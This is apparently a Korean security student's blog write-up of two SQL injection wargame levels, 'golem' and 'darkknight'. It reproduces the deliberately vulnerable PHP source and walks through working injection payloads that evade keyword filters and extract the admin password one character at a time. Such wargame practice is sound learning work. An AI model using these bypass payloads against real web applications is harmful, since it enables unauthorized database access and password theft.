golem
코드
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem"); //id가 admin이고 비밀번호를 찾으면 golem을 풀 수 있다.
highlight_file(__FILE__);
?>
=은 like로 or과 and는 ||, &&로 우회
?pw=' || id like 'admin' &&length(pw) like 8
뒤에 '"을 무시해야하므로 주석 사용하기
?pw=' || id like 'admin' && length(pw) like 8#
이렇게 하면 &&부터 값이 입력되지않는다.
query : select id from prob_golem where id='guest' and pw='' || id like 'admin' '
&의 url escape code는 %26
https://docs.microfocus.com/OMi/10.62/Content/OMi/ExtGuide/ExtApps/URL_encoding.htm
?pw=' || id like 'admin' %26%26 length(pw) like 8#
이렇게 &&을 우회하니까 값이 다 나왔다.
query : select id from prob_golem where id='guest' and pw='' || id like 'admin' && length(pw) like 8'
근데 8뒤에 '가 나왔다 주석처리를 했는데..
#의 url escape code는 %23이다.
?pw=' || id like 'admin' %26%26 length(pw) like 8%23
길이가 8이므로 코드 이용하자
안된다. 왜지
한글자씩 해보자
substr을 대신하기 위해 mid를 이용한다.
?pw=' || id like 'admin' %26%26 mid(pw,1,1) like 1%23
?pw=' || id like 'admin' %26%26 mid(pw,1,1) like 7%23
처음 단어는 7
두번째 단어도 7
세번째는 d
6
2
9
0
b
77d6290b
?pw=' || id like 'admin' %26%26 pw like '77d6290b
darknight
코드를 보면
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");
if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe");
$query = "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight");
highlight_file(__FILE__);
?>
비번을 찾자
?pw=' || id='admin' &&length(pw)=8
근데 pw에서 ' ' 이 막혀있다.
no은 '과 substr, ascii, = 가 막혀있다.
pw는 ' '을 이용해서 써야하므로 '이 막혀서 못하지만
no는 번호만 적으면 되니까 '쓸 필요 없다 --> no이용
어차피 비번만 알아내면 되니까
?no=0 || length(pw) like 8
근데 왜 admin이 뜨지
비밀번호는 8글자
코드가 안되니까 노가다 해야된다.
?no=0 || mid(pw,1,1) like 0
첫번째 글자는 0
두번째 글자는 b
' '가 막혀있으므로 글자를 " "로 묶어서 보내야한다.
?no=0 || mid(pw,1,1) like "b"
세번째 글자는 7
0
e --> a에서 guest가 나오는데 우리는 admin 비번을 알아야한다.
a
1
f
0b70ea1f
신기한게 guest와 admin의 비번이 같지 않는데도 admin 비번을 쓰면 clear된다.
뭐지
'보안공부 > 워게임' 카테고리의 다른 글
wargame [1]-xss-1 (0) | 2021.08.07 |
---|---|
dreamhack wargame[1] pathtraversal (0) | 2021.08.07 |
suninatas web 6,7,22 (0) | 2021.07.31 |
dreamhack - proxy-1--진행중 .. (0) | 2021.07.30 |
dreamhack-simple ssti (0) | 2021.07.30 |